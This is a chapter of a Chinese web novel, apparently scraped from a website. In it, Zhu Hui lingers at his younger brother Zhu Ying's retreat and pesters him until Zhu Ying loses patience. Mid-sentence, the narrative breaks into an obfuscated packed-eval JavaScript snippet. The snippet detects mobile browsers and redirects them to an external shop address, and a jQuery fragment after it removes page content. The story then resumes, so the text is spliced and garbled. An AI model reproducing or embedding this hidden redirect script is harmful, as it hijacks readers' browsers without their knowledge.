饭后,朱元璋就像个刚抢了地主家粮仓的土匪一样,二话不说扛起墙角那半麻袋土豆种子,连个招呼都没打就要走。
那架势,仿佛晚走一步这土豆就会长腿跑了似的。
“走了走了!咱还有急事!”朱元璋一边往外冲,一边还不忘回头叮嘱朱橞。
“你小子给我老实点!照顾好你弟弟!别整那些幺蛾子!”
“知道了徐叔叔!您慢走啊!”朱橞挥着手,笑得没心没肺。
送走了老爹,朱橞彻底放飞了自我。
他在清修院里东摸摸西看看,一会儿揪片番茄叶子闻闻,一会儿又去逗弄小**“菜菜”,嘴里更是一刻都没停过。
“哎,二十二弟,你这菜地是怎么种的?怎么长得这么快?”
“这狗哪来的?怎么这么丑?”
“刚才那田鸡还有吗?晚上再给哥整一盘呗?”
朱楹只觉得耳边像是有一百只鸭子在叫,吵得他脑仁疼。
他本来就因为原主的记忆对这个熊孩子没什么好感,再加上历史上这家伙后来的所作所为,更是让他心生警惕。
朱橞,谷王,历史上著名的“墙头草”。
建文帝时期,他为了自保,主动打开金川门迎朱棣入城,成了靖难之役的大功臣。
可后来他又因为骄纵不法,甚至密谋**,被朱棣废为庶人,幽禁至死。
这样一个人,既没骨气又没脑子,典型的小人加蠢货。
“我说十九哥。”朱楹实在是忍不住了,冷冷地说道。
“你看也看了,吃也吃了,是不是该回去了?我这还要午睡呢。”
“回什么回?”朱橞毫不在意他的冷脸,一把搂住朱楹的肩膀,哥俩好似的说道。
“我好不容易来一趟,回去干嘛?再说了,咱爹可是交代了,让我多陪陪你。你看你这冷冷清清的,多没劲啊!”
他神秘兮兮地凑到朱楹耳边:“哎,跟你说个事儿。你知道吗?前两天允炆那小子挨揍了!听说被打得屁股开花,现在还在床上趴着呢!你说奇不奇怪?大哥平时对他那么好,怎么突然下这么重的手?”
朱楹心中一动。
朱允炆挨打的事,他当然知道,毕竟那顿打有一半是因他而起。
但让他惊讶的是,这消息居然封锁得这么严密?
连朱橞这个皇子都不知道具体原因?
联想到那天夜里消失的九个宫人,朱楹心中了然。
看来,朱元璋为了维护皇太孙的颜面,不仅杀了那些知情的宫人灭口,还下了封口令。这就是帝王心术啊,为了所谓的“大局”,几条人命算什么?
“不知道,也不想知道。”朱楹淡淡地推开他的手。
“我对别人的屁股没兴趣。”
“切,真没劲。”朱橞撇撇嘴。
“你这人怎么变得跟个小老头似的?一点都不像咱们老朱家的种。咱们老朱家的男人,那就得大口喝酒,大块吃肉,骑最烈的马,睡……咳咳,那啥。”
他本来想说“睡最美的女人”,但看了一眼还是个孩子的朱楹,硬生生把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136313|196293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话咽了回去。
“行了行了,别在这儿感慨人生了。”朱楹下了逐客令。
“我要睡觉了,你赶紧走吧。回去练你的骑射去,别在这儿烦我。”
说完,他转身就往卧室走去。
“别啊!我也不想练骑射啊!那教头凶得很!”朱橞像条泥鳅一样,哧溜一下就从朱楹胳膊底下钻了过去,抢先一步跑进了卧室。
“哟!你这屋收拾得挺干净啊!”
朱橞毫不客气地一屁股坐在朱楹的床上,还顺手拿起床头花瓶里插着的一支竹叶把玩起来。
“这竹叶插得不错,有点雅致。这床也挺软乎,比我那硬板床舒服多了。”
朱楹站在门口,脸都黑了。
这人怎么能这么不要脸?
这是我家还是你家?
“出去。”朱楹的声音冷到了极点。
“我要睡觉。”
“睡嘛睡嘛!我又没拦着你!”朱橞竟然直接脱了靴子,往床上一躺,四仰八叉地占了大半张床。
“这床够大,咱哥俩一块儿睡!正好我也困了,咱们抵足而眠,联络联络感情!”
他还拍了拍身边的空位,一脸贱笑:“来来来,别害羞嘛!”
朱楹看着那个躺在自己床上、还散发着一股淡淡脚臭味的家伙,额头上的青筋突突直跳。
忍无可忍,无需再忍!
“朱橞!”朱楹低吼一声。
“干嘛?”朱橞刚闭上眼睛准备眯一会儿,就感觉身体一轻。
下一秒,他整个人竟然腾空而起!